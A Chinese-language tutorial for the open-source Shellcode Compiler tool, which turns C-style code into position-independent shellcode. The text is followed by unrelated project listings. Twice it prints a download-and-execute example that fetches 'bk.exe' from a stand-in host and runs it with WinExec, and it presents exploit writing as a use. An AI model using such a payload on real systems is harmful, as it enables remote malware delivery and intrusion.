Shellcode Compiler 使用教程
项目介绍
Shellcode Compiler 是一个创新的开源程序,它可以将 C/C++ 风格的代码编译成适用于 Windows(x86 和 x64)及 Linux(x86 和 x64)系统的精简、位置无关、NULL 字符免的 Shellcode。这个工具允许用户以友好的方式调用任何 Windows API 函数或 Linux 系统调用。Shellcode Compiler 接收源代码文件作为输入,并利用其内置的编译器解释代码,然后使用 Keystone 引擎生成汇编代码,最终汇编成二进制 Shellcode。用户可以通过简单的命令行选项定制输出,包括测试生成的 Shellcode、指定平台、控制详细输出等。
项目快速启动
安装
首先,克隆项目仓库到本地:
git clone https://github.com/NytroRST/ShellcodeCompiler.git
进入项目目录:
cd ShellcodeCompiler
编译示例
假设你有一个名为 example.c 的源代码文件,内容如下:
// example.c
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0, "https://site.com/bk.exe", "bk.exe", 0, 0);
WinExec("bk.exe", 0);
ExitProcess(0);
使用 Shellcode Compiler 编译该文件:
ShellcodeCompiler.exe -r example.c -o shellcode.bin -a assembly.asm -p win_x64
这将生成 shellcode.bin 和 assembly.asm 文件。
应用案例和最佳实践
安全研究
Shellcode Compiler 可以用于编写安全漏洞的 exploit。例如,你可以编写一个简单的 Shellcode 来下载并执行一个远程文件:
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0, "https://site.com/bk.exe", "bk.exe", 0, 0);
WinExec("bk.exe", 0);
ExitProcess(0);
低级别编程
在资源受限环境中执行代码时,Shellcode Compiler 可以帮助你生成高效的 Shellcode。例如,编写一个简单的 Linux Shellcode:
chmod("/root/chmodme", 511);
write(1, "Hello world", 12);
kill(1661, 9);
getpid();
execve("/usr/bin/security_tool", 0, 0);
exit(2);
典型生态项目
Keystone 引擎
Shellcode Compiler 使用了 Keystone 引擎,这是一个强大的动态二进制转换库,能够跨多个架构进行汇编语言的解析和编码。Keystone 引擎为 Shellcode Compiler 提供了强大的底层支持。
C/C++ 编译器
Shellcode Compiler 的内置编译器支持 C/C++ 风格的代码,这使得用户可以方便地编写和调试 Shellcode。C/C++ 编译器的集成使得 Shellcode Compiler 更加灵活和强大。
通过以上内容,您可以快速了解和使用 Shellcode Compiler 项目,并探索其在安全研究和低级别编程中的应用。
kernelopenEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。C033
Kimi-K2-ThinkingKimi K2 Thinking 是最新、性能最强的开源思维模型。从 Kimi K2 开始,我们将其打造为能够逐步推理并动态调用工具的思维智能体。通过显著提升多步推理深度,并在 200–300 次连续调用中保持稳定的工具使用能力,它在 Humanity's Last Exam (HLE)、BrowseComp 等基准测试中树立了新的技术标杆。同时,K2 Thinking 是原生 INT4 量化模型,具备 256k 上下文窗口,实现了推理延迟和 GPU 内存占用的无损降低。Python00
kylin-wayland-compositorkylin-wayland-compositor或kylin-wlcom(以下简称kywc)是一个基于wlroots编写的wayland合成器。 目前积极开发中,并作为默认显示服务器随openKylin系统发布。 该项目使用开源协议GPL-1.0-or-later,项目中来源于其他开源项目的文件或代码片段遵守原开源协议要求。C00
HunyuanOCRHunyuanOCR 是基于混元原生多模态架构打造的领先端到端 OCR 专家级视觉语言模型。它采用仅 10 亿参数的轻量化设计,在业界多项基准测试中取得了当前最佳性能。该模型不仅精通复杂多语言文档解析,还在文本检测与识别、开放域信息抽取、视频字幕提取及图片翻译等实际应用场景中表现卓越。00
GLM-4.7GLM-4.7上线并开源。新版本面向Coding场景强化了编码能力、长程任务规划与工具协同,并在多项主流公开基准测试中取得开源模型中的领先表现。 目前,GLM-4.7已通过BigModel.cn提供API,并在z.ai全栈开发模式中上线Skills模块,支持多模态任务的统一规划与协作。Jinja00
GLM-TTSGLM-TTS 是一款基于大语言模型的高质量文本转语音(TTS)合成系统,支持零样本语音克隆和流式推理。该系统采用两阶段架构,结合了用于语音 token 生成的大语言模型(LLM)和用于波形合成的流匹配(Flow Matching)模型。 通过引入多奖励强化学习框架,GLM-TTS 显著提升了合成语音的表现力,相比传统 TTS 系统实现了更自然的情感控制。Python00
Spark-Formalizer-X1-7BSpark-Formalizer 是由科大讯飞团队开发的专用大型语言模型,专注于数学自动形式化任务。该模型擅长将自然语言数学问题转化为精确的 Lean4 形式化语句,在形式化语句生成方面达到了业界领先水平。Python00